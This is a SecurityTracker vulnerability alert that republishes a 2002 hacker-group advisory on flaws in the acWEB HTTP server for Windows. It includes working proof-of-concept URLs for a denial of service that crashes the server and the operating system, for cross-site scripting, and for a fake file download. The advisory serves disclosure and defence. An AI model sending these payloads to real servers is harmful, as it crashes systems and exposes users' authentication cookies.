Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
|
acWEB HTTP Server Bugs Let Remote Users Crash the System and Permit Cross-Site Scripting Attacks
|
|
SecurityTracker Alert ID: 1005297 |
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Sep 26 2002
|
Impact: Denial of service via network, Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
|
Exploit Included: Yes
|
Description: Several vulnerabilities were reported in the acWEB web server. A remote user can cause the system to crash. A remote user can also conduct cross-site scripting attacks against acWEB users.
Illegal Instruction Labs issued an advisory warning of several flaws in the acWEB HTTP server.
A remote user can send the following
type of URL to cause the acWEB service and the operating system to crash:
http://[targethost]/com2.bat
A remote user can also
create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target
user's browser. The code will originate from the site running acWEB and will run in the security context of that site. As a result,
the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site,
access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
A demonstration exploit URL is provided:
http://[targethost]/%db<script>alert('Illegal%20Instruction%20Labs%200wnz%20YoU!!!');</script>/
|
Impact: A remote user can cause the server and the operating system to crash.
A remote user can access the target user's cookies (including
authentication cookies), if any, associated with the site running acWEB, access data recently submitted by the target user via web
form to the site, or take actions on the site acting as the target user.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: acweb.sourceforge.net/ (Links to External Site)
|
Cause: Exception handling error, Input validation error
|
Underlying OS: Windows (Any)
|
Reported By: DownBload <downbload@hotmail.com>
|
Message History:
None.
|
Source Message Contents
|
Date: 25 Sep 2002 09:08:20 -0000
From: DownBload <downbload@hotmail.com>
Subject: IIL Advisory: Vulnerabilities in acWEB HTTP server
|
[ Illegal Instruction Labs Advisory ]
[-------------------------------------------------------------------------]
Advisory name: Vulnerabilities in acWEB HTTP server
Advisory number: 13
Application: acWEB HTTP server
Author e-mail: spf@users.sourceforge.net
Homepage: somewhere on sourceforge
Date: 10.09.2002
Impact: DoS, XSS, etc.
Tested on: Windows 98
Discovered by: DownBload
Mail me @: downbload@hotmail.com
======[ Overview
Sourceforge: "acWEB is an OpenSource replacement for MS IIS and other
proprietary WEB servers for Windows. Unlike IIS, acWEB is not affected by
viruses like CodeRed, Nimda, etc :)."
/ME says: acWEB is simple HTTP server for Windows. It is perfect for tiny
companies, and for home use.
======[ Problem(s)
===[ Remote DoS
First vulnerability which I discovered in acWEB HTTP server was remote DoS.
It is possible to crush acWEB (and Windows too) with simple HTTP request:
---cut here---
http://www.victim.com/com2.bat
---cut here---
===[ XSS a.k.a CSS bug
XSS code execution:
---cut here---
http://www.victim.com/%db<script>alert('Illegal%20Instruction%20Labs%
200wnz%20YoU!!!');</script>/
---cut here---
===[ Fake file download
---cut here---
http://www.victim.com/|%5chacked.txt%00
---cut here---
When this request it sent to acWEB HTTP server, acWEB will return:
---------------
HTTP/1.0 200 OK
Content-Length: 0
Connection: Close
Content-Type: application/octet-stream
Server: Eserv/3.x
---------------
That is fuqn weird, because file 'hacked.txt' don't exist. acWEB HTTP
server will
send us 'hacked.txt' empty file to download.
======[ Exploit
This can be exploited with browser, so I won't write exploit for this...or
maybe one day :).
======[ Greetz
Greetz goes to #hr.hackers, #ii-labs and #linux <irc.carnet.hr>.
Special greetz goes to (rand()): St0rm, BoyScout, h4z4rd, finis, Sunnis,
Fr1c, phreax, LekaMan, StYx, harlequin, Astral and www.active-security.org
(NetZero & Paradox). I'm very sorry if I forgot someone.
|
|
Go to the Top of This SecurityTracker Archive Page
|
